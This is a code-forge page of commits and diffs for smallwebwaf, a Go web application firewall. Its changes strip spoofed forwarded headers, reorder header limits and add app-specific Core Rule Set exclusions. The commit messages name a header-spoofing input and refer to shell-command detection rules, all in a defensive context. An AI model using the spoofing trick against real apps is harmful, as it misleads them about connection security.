Author SHA1 Message Date
sneak c8c7b98645 Core Rule Set: Forgejo's ordinary requests pass by default (closes #342)
check / check (push) Waiting to run
Forgejo 17.0.1's recorded requests are in
testdata/forgejo-requests.txt, checked at the defaults.

What Forgejo sends and gitea does not:
- its flash cookie is named flash, which joins gitea_flash among the
  cookies left out;
- its wiki search, whose q skips five rules in forgejo.conf, the
  fifteenth change.

Gaps in gitea's fixes the recording showed: q on the name searches
skips 932250 (ls -la), and the API's package search is one of them.
User and organisation pages, any one-segment path, keep 932250.

Model: opus-5-5
2026-11-11 08:38:08 +00:00
clawbot 6e370b346b rproxy: remove forwarded headers spelt with underscores from an untrusted peer (closes #334)
check / check (push) Waiting to run
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now reads each header name with `_` as `-` and in any letter case, and removes the header when that name starts with `X-Forwarded-` or is `Forwarded` or `X-Real-IP`. Before, `X_Forwarded_Ssl: on` or `X_Real_IP` from a client connecting directly reached the app unchanged, and an app behind CGI or FastCGI reads them as the dash-spelt headers. A trusted peer's headers pass on as before. `SPEC.md` says so.

Model: opus-5-5
2026-11-11 08:29:59 +01:00
sneak eba697af48 rproxy: close the connection when a short answer is cut off (closes #318)
check / check (push) Waiting to run
When SWRP_MAX_RESPONSE_TIME_MS ran out before the last of a short answer
was written, the flush failed. If the visitor had stopped short of its
announced body, Go's server then read the rest until
SWRP_MAX_REQUEST_TIME_MS ran out, keeping the connection open with the
answer cut off.

finish now flushes once more, and if that fails at its deadline, it ends
the reading of the body at once. ReverseProxy ignores the failed flush when
the app's answer came in one read, and panics when it was still waiting for
more; finish runs after both. Go's server never reuses a connection after a
failed write, so it closes it.

Model: opus-5-5
2026-11-11 07:54:10 +01:00
sneak b9cfbc7fcb rproxy tests: a cut-off answer must close the connection, and the stop-short tests no longer race the clock
A new test fails on the current code. The visitor stops a little short of
its announced body, and the response time limit runs out before rproxy can
write the app's short body. The connection then stays open until the
request time limit instead of closing. The app sends that body in one part,
and in two; with two, ReverseProxy panics instead of returning.

The test that failed under load used a 300 ms response time limit, which a
busy host can use up between the app's headers and its body. It and the
test that answers a visitor that stops sending now use limits far longer
than the test's 10-second read deadline.

Model: opus-5-5
2026-11-11 07:54:10 +01:00
clawbot f077dd7fd0 Say that rproxy passes a refused question's 400 to the visitor (closes #326)
check / check (push) Waiting to run
The comment above `readQuestion` in `internal/waf/waf.go` said `rproxy` treats a refused question (`400`, no disposition) as no answer. It passes the `400` to the visitor, and `SWRP_DEFAULT_DISPOSITION` does not apply, as `SPEC.md` and `internal/rproxy/waf.go` say. Comment only.

Model: opus-5-5
2026-11-11 07:50:59 +01:00
clawbot 81ec6f9bf5 Request log: write & < > as sent (closes #327)
check / check (push) Waiting to run
Request lines of `waf` and `rproxy` now hold `&`, `<` and `>` as sent, where `json.Marshal` wrote `\u0026`, `\u003c` and `\u003e`, and are still valid JSON. `writeJSONLine` encodes with a `json.Encoder` that has HTML escaping off, and still writes each line in one write. This follows the `AGENTS.md` rule that the request log records query strings exactly as received, and lets `grep` find a logged query string.

Alert webhooks and the report `rproxy` posts to `waf` are unchanged: neither is a request line, and both are read only by a JSON parser.

Model: opus-5-5
2026-11-11 07:50:54 +01:00
clawbot 7b52574e5b rproxy: remove every X-Forwarded- header from an untrusted peer (closes #325)
check / check (push) Waiting to run
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now removes every header whose name starts with `X-Forwarded-`, in any letter case, before it sets `X-Forwarded-For`, `X-Forwarded-Host` and `X-Forwarded-Proto`; `Forwarded` and `X-Real-IP` are removed as before. Until now only traefik's names were removed, so a client connecting directly could send `X-Forwarded-Ssl: on` or `X-Forwarded-Scheme: https` and make an app take a plain request for a secure one. A trusted peer's headers pass on unchanged. `SPEC.md` says so.

Model: opus-5-5
2026-11-11 07:50:50 +01:00
clawbot f76308add3 rproxy tests: give the 1 MiB answer a 60 s time limit (closes #335)
check / check (push) Waiting to run
Test only. `TestAnAnswerOf1MiBGoesToTheVisitor` read an answer of 1 MiB from `waf` within the default `SWRP_TIMEOUT_MS` of 2 s. On a busy host that time ran out first, `rproxy` applied `SWRP_DEFAULT_DISPOSITION` as it should, and the test failed. It now sets `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.

Model: opus-5-5
2026-11-11 07:31:27 +01:00
clawbot 937d956d3a waf: the header limits are the first check (closes #311)
check / check (push) Waiting to run
The header limits (more than 50 cookies or 100 header fields, answered `431`) move from just before the Core Rule Set to the first check after `SWW_ALLOW_NETS`. A request over them causes no lookup, no query to RouteWatch, a DNS blocklist or AbuseIPDB, no rule file match and no Core Rule Set. Requests within the limits go through the same checks in the same order.

For a request over the limits: the rate limits no longer count it; a banned client or one in `SWW_DENY_NETS` gets `431` instead of its refusal; it makes no ban, makes no ban permanent and is not counted in a ban's notes; in `observe` mode it is answered `allow` with no lookup. `SPEC.md` and `README.md` say so.

Model: opus-5-5
2026-11-11 07:13:35 +01:00
clawbot b89c53c640 sww tests: wait for the starting line as long as the start takes (closes #324)
check / check (push) Waiting to run
Tests only, in `internal/sww/sww_test.go`. A start compiles the Core Rule Set, so on a loaded host it can take longer than `waitLimit` (10 s) to write `starting`. The new `output.lineBeforeExit` waits until the line is written or sww exits, bounded only by the test binary's `-timeout`. It replaces the waits that span a start, in `runUntilStopped`, `TestServesUntilToldToStop` and `TestLogLevelHoldsBackTheLessSevereProcessLines`. The other waits on `waitLimit` in the file come after the start or after sww has exited.

Model: opus-5-5
2026-11-11 06:31:01 +01:00
clawbot 803a9e9dd8 rproxy tests: give the over-1 MiB answers a 60 s time limit (closes #323)
check / check (push) Waiting to run
Test only. The over-1 MiB cases of `TestAnAnswerThatCannotBePassedOnIsAnswered502`, and `TestAnAnswerThatCannotBePassedOnGetsNoReport`, which sends the same answer, left `SWRP_TIMEOUT_MS` at 2 s. On a loaded host `rproxy` applied `SWRP_DEFAULT_DISPOSITION` before it had read the whole answer, and the tests, which want `502`, failed. They now set `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.

Model: opus-5-5
2026-11-11 06:30:55 +01:00
clawbot 9bcbe5a3c8 Every time in UTC, and every day as YYYY-MM-DD (closes #313)
check / check (push) Waiting to run
Every time the program stores, logs or compares is in UTC, whatever TZ says, and AbuseIPDB's day in `reputation.json` is a `YYYY-MM-DD` date. Times read from a state file are converted to UTC as they are read, so a file is written back with `Z` times only. A test runs `sww waf` with `TZ=Pacific/Kiritimati` and checks the process line, the request line and `clients.json`. `SPEC.md` states the rule and `AGENTS.md` makes it an iron rule.

- The rate limit's `day` and `day_bytes` buckets keep a start time: each is a 24-hour bucket begun at an instant, not a calendar day.
- New dependency `cloud.google.com/go`, of which only `civil` is built.
- No migration: a `reputation.json` holding the old day form fails to load, naming the file.

Model: opus-5-5
2026-11-11 06:00:53 +01:00
46 changed files with 2190 additions and 1735 deletions

No files matched your search

+3
View File
@@ -37,3 +37,6 @@ These are the rules for agents working on this repository.
- `192.168.0.0/16`.
- `SPEC.md` states that default.
- Forwarded headers count only when the peer is a trusted proxy.
- Every time is in UTC, whatever `TZ` or the host's time zone says.
- Every day is a date written `YYYY-MM-DD`, never a time.
- `SPEC.md` states this near its start.
+28 -29
View File
@@ -278,7 +278,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -510,7 +509,8 @@ request reaches the app.
`waf` takes the checks:
3. The tag lists.
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
header limits.
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
5. The bans.
6. The lookup of the client's AS number and country.
@@ -522,7 +522,7 @@ request reaches the app.
11. The rate limits.
12. The trap paths.
13. The rule files.
14. The header limits, and then the Core Rule Set.
14. The Core Rule Set.
15. The tag refusals again, so that `exploitsignature` can refuse too.
16. A path under `/_sww/` is answered `404`, so that the app never sees that
prefix.
@@ -538,7 +538,7 @@ request reaches the app.
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
request over the header limits of step 14 is answered `431`, and bans nobody
request over the header limits of step 3 is answered `431`, and bans nobody
either. `rproxy` itself answers `405` to a method it does not pass on, and the
status for a size or time limit, such as `413` for a body too large.
@@ -580,28 +580,30 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
- Each supported app also has its own fixes, which let its ordinary requests
through. Its recorded ordinary requests pass the Core Rule Set at the default
settings. The supported apps, by their names in `SWW_APPS`, are:
- `gitea`, whose fixes let its searches, file names and branch names
through;
- `wordpress`, whose fixes let through its searches, its names, its file
names and a post saved from the block editor;
- `drupal`, whose fixes let through the page to return to, its searches and
its names;
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext;
- `mastodon`, whose fixes let through its searches, its names, its email
addresses, its posts and deliveries from other servers;
- `vaultwarden`, whose fixes let through its names, its password hints, its
email addresses and its encrypted file names;
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents.
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea: git over HTTP and sign-in through Git Credential Manager get
through. On gitea's own paths, its searches, file names and branch names
do too.
- Forgejo: git over HTTP and its container and package registries get
through. On Forgejo's own paths, its searches, file names and branch names
do too.
- WordPress: saving a post from the block editor gets through. On
WordPress's own paths, its searches, names and file names do too.
- Drupal: on Drupal's own paths, the page to return to, its searches and its
names get through.
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
wikitext get through.
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
posts and deliveries from other servers get through.
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
addresses and encrypted file names get through.
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
@@ -609,9 +611,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
+752 -741
View File
File diff suppressed because it is too large. Load diff
-25
View File
@@ -254,31 +254,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+1
View File
@@ -3,6 +3,7 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
cloud.google.com/go v0.123.0
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
github.com/fsnotify/fsnotify v1.10.1
+2
View File
@@ -1,3 +1,5 @@
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
+1 -92
View File
@@ -29,7 +29,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
@@ -236,11 +235,6 @@ type Config struct {
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
@@ -410,11 +404,6 @@ var (
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
)
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
@@ -588,7 +577,6 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -844,25 +832,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
@@ -1880,65 +1849,6 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil
}
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
@@ -2545,8 +2455,7 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest
}
// isZone reports whether each label of zone is as parseZones takes it. It
// also checks the hostnames of SWW_APPS, which are DNS names too.
// isZone reports whether each label of zone is as parseZones takes it.
func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool {
-97
View File
@@ -89,7 +89,6 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -583,101 +582,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
}
}
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel()
@@ -2685,7 +2589,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "",
wafBodyLimit: off,
exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
+141 -126
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
@@ -34,8 +32,11 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// directives of every app in apps for the third.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,24 +84,70 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too.
%s
# The apps' fixes come before the rules for the same reason.
# The eighth change comes before the rules for the same reason.
%s
# The fifth: only the rules for requests are loaded, and no response is
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# So does the fourteenth.
%s
# And the fifteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments
# or for Java starting a process.
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
`
// bodyDirectives have the Core Rule Set read the part of a request body
@@ -145,61 +192,69 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
//go:embed gitea.conf
var giteaExclusions string
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
// requests that skip the rules that refused them there, where Forgejo differs
// from gitea, as Coraza directives.
//
//go:embed forgejo.conf
var forgejoExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. flash is Forgejo's name for
// gitea_flash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
// Params are what New needs.
type Params struct {
@@ -215,10 +270,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
